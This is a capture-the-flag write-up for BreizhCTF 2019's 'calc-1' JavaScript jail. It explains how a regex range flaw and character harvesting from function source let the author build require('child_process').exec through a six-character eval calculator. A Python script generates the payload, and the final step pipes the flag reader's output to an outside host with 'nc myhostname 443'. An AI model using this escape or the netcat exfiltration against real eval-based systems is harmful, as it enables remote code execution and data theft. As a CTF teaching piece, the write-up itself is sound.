BreizhCTF 2019 - calc-1

CTF URL: https://www.breizhctf.com/

Solves: 2 / Points: 200 / Category: Jail

Challenge description

I’ve made a simple calculator in JS, I know I shouldn’t use eval but with only 6 chars per line I should be safe.

Note: the source code of the challenge was provided

Challenge resolution

Our objective is to execute a shell command from the JS calculator. To perform that, we have to run the following payload on the calculator:

require('child_process').exec("cmd")

Step one: bypass 6 chars limitation

The calc limits input size to 6 chars:

createFilter(line => line.length < 7, "Input too long, max 6 char per line."), // check line length

Problem: Simple and good control -> no bypass :(

Solution:

The calc program uses the regexp “^([0123456789*\/+%-_ ])+$” to validate inputs.

The interesting point here is the position of the operator “-“ which define an interval on a RegExp context when it’s not escaped. Thus, all the characters between the “%” and “_”, A to Z included but not a to z.

So we can create a variable and store data:

> A='E'
E
> A
E

Therefore, we are able to build a payload of more than 6 characters.

Unfortunately JavaScript is a case-sensitive language, so we can not write our exploit directly.

Step two: Lowercase alphabet construction

From JavaScript doc:

+ is also used as the string concatenation operator: If any of its arguments is a string or is otherwise not a number, any non-string arguments are converted to strings, and the 2 strings are concatenated.

In the provided script, we have a fully upercase function name: EVAL

> EVAL
[Function: EVAL]

So by applying the operator “+” to the EVAL function we could obtain some lowercase chars :)

> EVAL+1
function (src){
    const cmd = `_=${src}`
    eval(cmd)
    return _
}1
> _[10]
s

However, the content of the above response doesn’t allow us to write the desired payload. We need to retrieve more chars.

We tried with the main function:

A=EVAL
A+1
_[53] // m
E=_
A+1
_[49] // a
E+_
E=_
A+1
_[5] // i
E+_
E=_
A+1
_[7] // n
E+_
E=_
A(E) // EVAL("main")
_+1  // show main's code

Output:

function main(){
    console.log("   _________________________________   ")
    console.log("  |                                 |  ")
    console.log("  |   Welcome to our js calculator  |  ")
.
.
.
}1;

Nice, we have more chars here !

Step two(bis): Lowercase alphabet py-construction

To write the complete payload we had to automate the steps above. The following python script is the result of the automation process:

# EVAL source code
a = """function (src){
    const cmd = `_=${src}`
    eval(cmd)
    return _
}1
"""
# main source code
b = """function main(){
    console.log("   _________________________________   ")
    console.log("  |                                 |  ")
    console.log("  |   Welcome to our js calculator  |  ")
    console.log("  |      Submit your expression     |  ")
    console.log("  |     Only 6 char per line max    |  ")
    console.log("  |_________________________________|\n")


    function createFilter(func, error_msg){
        return function(callback, onerror) {
            return line => func(line) ? callback(line) : onerror(error_msg)
        }
    }

    function createModifier(func){
        return function(callback, onerror) {
            return line => callback(func(line))
        }
    }

    function applyFunction(func){
        return function(callback, onerror) {
            return line => (func(line), callback(line))
        }
    }


    const whiteList = [
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // digits
        "*", "/", "+", "%", "-",  // operators
        "_", " ", "\t" // output and white space
    ]

    const validCodeReg = new RegExp(`^([${whiteList.join("")}])+$`)

    const handlers = [
        createFilter(line => line.length < 7, "Input too long, max 6 char per line."), // check line length
        createFilter(line => validCodeReg.exec(line), `Invalid char in input, only valid chars are "${whiteList.join("")}".`), // check line against whitelist
        createModifier(line => EVAL(line)), // evaluate line
        applyFunction(console.log), // print output
    ]
    const handler = handlers.reverse()
          .reduce(
              (prev, cur) => cur(prev, error_msg => (console.error(error_msg), true)),
              _ => false
          )

    startPrompt(handler, true)
}1
"""
upcase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"

get_lowercase_chars =  """ 
A=EVAL
A+1
_[53]
E=_
A+1
_[49]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[7]
E+_
E=_
A(E)
_+1
M=_
E=''
A+1
_[4]
E+_
E=_
M+1
_[286]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[10]
E+_
E=_
A(E)
T=_
E=''""" # we have to clean the E var

get_lowercase_chars_no_clean =  """
A=EVAL
A+1
_[53]
E=_
A+1
_[49]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[7]
E+_
E=_
A(E)
_+1
M=_
E=''
A+1
_[4]
E+_
E=_
M+1
_[286]
E+_
E=_
A+1
_[5]
E+_
E=_
A+1
_[10]
E+_
E=_
A(E)
T=_
""" # E contains "this" and we don't clean it here

# code to obtain EVAL and main functions code
print get_lowercase_chars

def generate(string, source, name, source2, name2):
    
    result = ""
    for c in string:

        found = False
        if c == "q":
            print get_lowercase_chars_no_clean
            getQ()
            result += c
            print "E+U"
            print "E=_"
            continue
        if c in upcase:
            result += c
            print "E+'" + str(c) + "'"
            print "E=_"
            continue
        j = 0
        for i in source:
            if i == c:
                found = True
                result += c
                print name + "+1"
                print "_[" + str(j) + "]"
                print "E+_"
                print "E=_"
                break
            j+=1

        if found == False:
            j = 0
            for i in source2:
                if i == c:
                    found = True
                    result += c
                    print name2 + "+1"
                    print "_[" + str(j) + "]"
                    print "E+_"
                    print "E=_"
                    break
                j += 1


def getQ():

    print "X=E"
    generate("process", a, "A", b, "M")
    print "P=_"
    print "E=''"
    generate("moduleLoadList", a, "A", b, "M")
    print "K=E"
    print "T[P]"
    print "Q=_"
    print "Q[K]"
    print "H=_"
    print "H[47]"
    print "N=_"
    print "N[22]"
    print "Q=_"

The getQ function generates the instructions to obtain the letter “q” because there are no “q” on main or EVAL code.

Finally, we wrote the generation of the payload:

# payload generation
generate("re", a, "A", b, "M")
print "R=_"
print "E=''"
getQ()
print "E=''"
generate("uire", a, "A", b, "M")
print "U=_"
print "E=''"
generate("child_process", a, "A", b, "M")
print "R+Q"
print "R=_"
print "R+U"
print "R=_"
print "A(R)"
print "_(E)"
print "F=_" 
print "E=''"
generate("exec", a, "A", b, "M")
print "F[E]"
print "F=_"
print "E=''"

generate("/home/guest/flag_reader | nc myhostname 443", a, "A", b, "M")

Once the output of the python generator executed on the JS calculator, we had the following vars :

> F
[Function: exec]
> E
/home/guest/flag_reader | nc myhostname 443

Run the exec function F with the parameter E and get the flag :

> F(E)
root@myhostname# nc -lp 443

breizhctf_flag{FORGOTTEN_FLAG}

Author: dabi0ne @dabi0ne

Post date: 2019-04-14